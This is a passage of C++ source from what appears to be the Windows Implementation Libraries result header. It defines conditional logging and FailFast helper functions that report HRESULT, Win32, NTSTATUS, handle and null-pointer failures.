__R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_HrIfNullMsg)(__R_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_HrMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_GetLastErrorIfMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition)\n __R_CONDITIONAL_NOINLINE_METHOD(bool, Log_GetLastErrorIfFalseMsg)(__R_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer)\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(PointerT, Log_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return pointer;\n }\n\n template <__R_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, Log_GetLastErrorIfNullMsg)(__R_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_GetLastErrorMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n }\n\n _Post_satisfies_(return == status)\n __R_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, Log_IfNtStatusFailedMsg)(__R_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED_NTSTATUS(status))\n {\n va_list argList;\n va_start(argList, formatString);\n __R_CALL_INTERNAL_NOINLINE_METHOD(_Log_NtStatusMsg)(__R_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n return status;\n }\n } // namespace __R_NS_NAME\n\n namespace __RFF_NS_NAME\n {\n //*****************************************************************************\n // FailFast Macros\n //*****************************************************************************\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_Hr)(__RFF_DIRECT_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Hr(__RFF_DIRECT_FN_CALL hr);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_Win32)(__RFF_DIRECT_FN_PARAMS DWORD err) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Win32(__RFF_DIRECT_FN_CALL err);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_GetLastError)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_GetLastError(__RFF_DIRECT_FN_CALL_ONLY);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_NtStatus)(__RFF_DIRECT_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__RFF_DIRECT_FN_CALL status);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __RFF_DIRECT_NORET_METHOD(void, FailFast_CaughtException)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_CaughtException(__RFF_DIRECT_FN_CALL_ONLY);\n }\n#endif\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_Hr)(__RFF_INTERNAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL hr);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_GetLastError)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_GetLastError(__RFF_INTERNAL_FN_CALL_ONLY);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_Win32)(__RFF_INTERNAL_FN_PARAMS DWORD err) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Win32(__RFF_INTERNAL_FN_CALL err);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_NullAlloc)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL E_OUTOFMEMORY);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_NtStatus)(__RFF_INTERNAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_NtStatus(__RFF_INTERNAL_FN_CALL status);\n }\n\n _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(HRESULT, FailFast_IfFailed)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr) WI_NOEXCEPT\n {\n if (FAILED(hr))\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr);\n }\n return hr;\n }\n\n _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(BOOL, FailFast_IfWin32BoolFalse)(__RFF_CONDITIONAL_FN_PARAMS BOOL ret) WI_NOEXCEPT\n {\n if (!ret)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return ret;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(DWORD, FailFast_IfWin32Error)(__RFF_CONDITIONAL_FN_PARAMS DWORD err)\n {\n if (FAILED_WIN32(err))\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Win32)(__RFF_CONDITIONAL_FN_CALL err);\n }\n return err;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(HANDLE, FailFast_IfHandleInvalid)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle) WI_NOEXCEPT\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(RESULT_NORETURN_NULL HANDLE, FailFast_IfHandleNull)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle) WI_NOEXCEPT\n {\n if (handle == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return handle;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullAlloc)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_NullAlloc)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_IfNullAlloc)(__RFF_CONDITIONAL_FN_PARAMS const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_NullAlloc)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIf)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT\n {\n if (condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_HrIfFalse)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition) WI_NOEXCEPT\n {\n if (!condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr);\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_HrIfNull)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr);\n }\n return pointer;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_HrIfNull)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Hr)(__RFF_CONDITIONAL_FN_CALL hr);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_GetLastErrorIf)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT\n {\n if (condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_GetLastErrorIfFalse)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT\n {\n if (!condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_GetLastErrorIfNull)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return pointer;\n }\n\n // Should be decorated WI_NOEXCEPT, but conflicts with forceinline.\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_TEMPLATE_METHOD(void, FailFast_GetLastErrorIfNull)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer)\n {\n if (pointer == nullptr)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_GetLastError)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n }\n\n _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(NTSTATUS, FailFast_IfNtStatusFailed)(__RFF_CONDITIONAL_FN_PARAMS NTSTATUS status) WI_NOEXCEPT\n {\n if (FAILED_NTSTATUS(status))\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_NtStatus)(__RFF_CONDITIONAL_FN_CALL status);\n }\n return status;\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_HrMsg)(__RFF_DIRECT_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__RFF_DIRECT_FN_CALL hr, formatString, argList);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_Win32Msg)(__RFF_DIRECT_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__RFF_DIRECT_FN_CALL err, formatString, argList);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_GetLastErrorMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_GetLastErrorMsg(__RFF_DIRECT_FN_CALL formatString, argList);\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_NtStatusMsg)(__RFF_DIRECT_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__RFF_DIRECT_FN_CALL status, formatString, argList);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n __RFF_DIRECT_NORET_METHOD(void, FailFast_CaughtExceptionMsg)(__RFF_DIRECT_FN_PARAMS _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_CaughtExceptionMsg(__RFF_DIRECT_FN_CALL formatString, argList);\n }\n#endif\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_HrMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_GetLastErrorMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_GetLastErrorMsg(__RFF_INTERNAL_NOINLINE_FN_CALL formatString, argList);\n }\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_Win32Msg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Win32Msg(__RFF_INTERNAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_NullAllocMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_HrMsg(__RFF_INTERNAL_NOINLINE_FN_CALL E_OUTOFMEMORY, formatString, argList);\n }\n\n __RFF_INTERNAL_NOINLINE_NORET_METHOD(_FailFast_NtStatusMsg)(__RFF_INTERNAL_NOINLINE_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, va_list argList) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_NtStatusMsg(__RFF_INTERNAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n\n _Post_satisfies_(return == hr) _When_(FAILED(hr), _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(HRESULT, FailFast_IfFailedMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED(hr))\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return hr;\n }\n\n _Post_satisfies_(return == ret) _When_(!ret, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(BOOL, FailFast_IfWin32BoolFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS BOOL ret, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!ret)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return ret;\n }\n\n _Post_satisfies_(return == err) _When_(FAILED_WIN32(err), _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(DWORD, FailFast_IfWin32ErrorMsg)(__RFF_CONDITIONAL_FN_PARAMS DWORD err, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED_WIN32(err))\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_Win32Msg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL err, formatString, argList);\n }\n return err;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == INVALID_HANDLE_VALUE, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(HANDLE, FailFast_IfHandleInvalidMsg)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (handle == INVALID_HANDLE_VALUE)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n _Post_satisfies_(return == handle) _When_(handle == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(RESULT_NORETURN_NULL HANDLE, FailFast_IfHandleNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HANDLE handle, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (handle == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return handle;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_IfNullAllocMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NullAllocMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n return pointer;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_IfNullAllocMsg)(__RFF_CONDITIONAL_FN_PARAMS const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NullAllocMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL_ONLY, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_HrIfMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_HrIfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return condition;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_HrIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n return pointer;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_HrIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS HRESULT hr, _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_HrMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL hr, formatString, argList);\n }\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_GetLastErrorIfMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n _Post_satisfies_(return == condition) _When_(!condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(bool, FailFast_GetLastErrorIfFalseMsg)(__RFF_CONDITIONAL_FN_PARAMS bool condition, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (!condition)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return condition;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_NOT_CLASS(PointerT)>\n _Post_satisfies_(return == pointer) _When_(pointer == nullptr, _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RESULT_NORETURN_NULL PointerT, FailFast_GetLastErrorIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _Pre_maybenull_ PointerT pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n return pointer;\n }\n\n template <__RFF_CONDITIONAL_PARTIAL_TEMPLATE typename PointerT, __R_ENABLE_IF_IS_CLASS(PointerT)>\n __RFF_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(void, FailFast_GetLastErrorIfNullMsg)(__RFF_CONDITIONAL_FN_PARAMS _In_opt_ const PointerT& pointer, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (pointer == nullptr)\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_GetLastErrorMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL formatString, argList);\n }\n }\n\n _Post_satisfies_(return == status) _When_(FAILED_NTSTATUS(status), _Analysis_noreturn_)\n __RFF_CONDITIONAL_NOINLINE_METHOD(NTSTATUS, FailFast_IfNtStatusFailedMsg)(__RFF_CONDITIONAL_FN_PARAMS NTSTATUS status, _Printf_format_string_ PCSTR formatString, ...) WI_NOEXCEPT\n {\n if (FAILED_NTSTATUS(status))\n {\n va_list argList;\n va_start(argList, formatString);\n __RFF_CALL_INTERNAL_NOINLINE_METHOD(_FailFast_NtStatusMsg)(__RFF_CONDITIONAL_NOINLINE_FN_CALL status, formatString, argList);\n }\n return status;\n }\n\n __RFF_DIRECT_NORET_METHOD(void, FailFast_Unexpected)(__RFF_DIRECT_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Hr(__RFF_DIRECT_FN_CALL E_UNEXPECTED);\n }\n\n __RFF_INTERNAL_NORET_METHOD(_FailFast_Unexpected)(__RFF_INTERNAL_FN_PARAMS_ONLY) WI_NOEXCEPT\n {\n __RFF_FN_LOCALS;\n wil::details::ReportFailure_Hr(__RFF_INTERNAL_FN_CALL E_UNEXPECTED);\n }\n\n _Post_satisfies_(return == condition) _When_(condition, _Analysis_noreturn_)\n __RFF_CONDITIONAL_METHOD(bool, FailFast_If)(__RFF_CONDITIONAL_FN_PARAMS bool condition) WI_NOEXCEPT\n {\n if (condition)\n {\n __RFF_CALL_INTERNAL_METHOD(_FailFast_Unexpected)(__RFF_CONDITIONAL_FN_CALL_ONLY);\n }\n return condition;\n 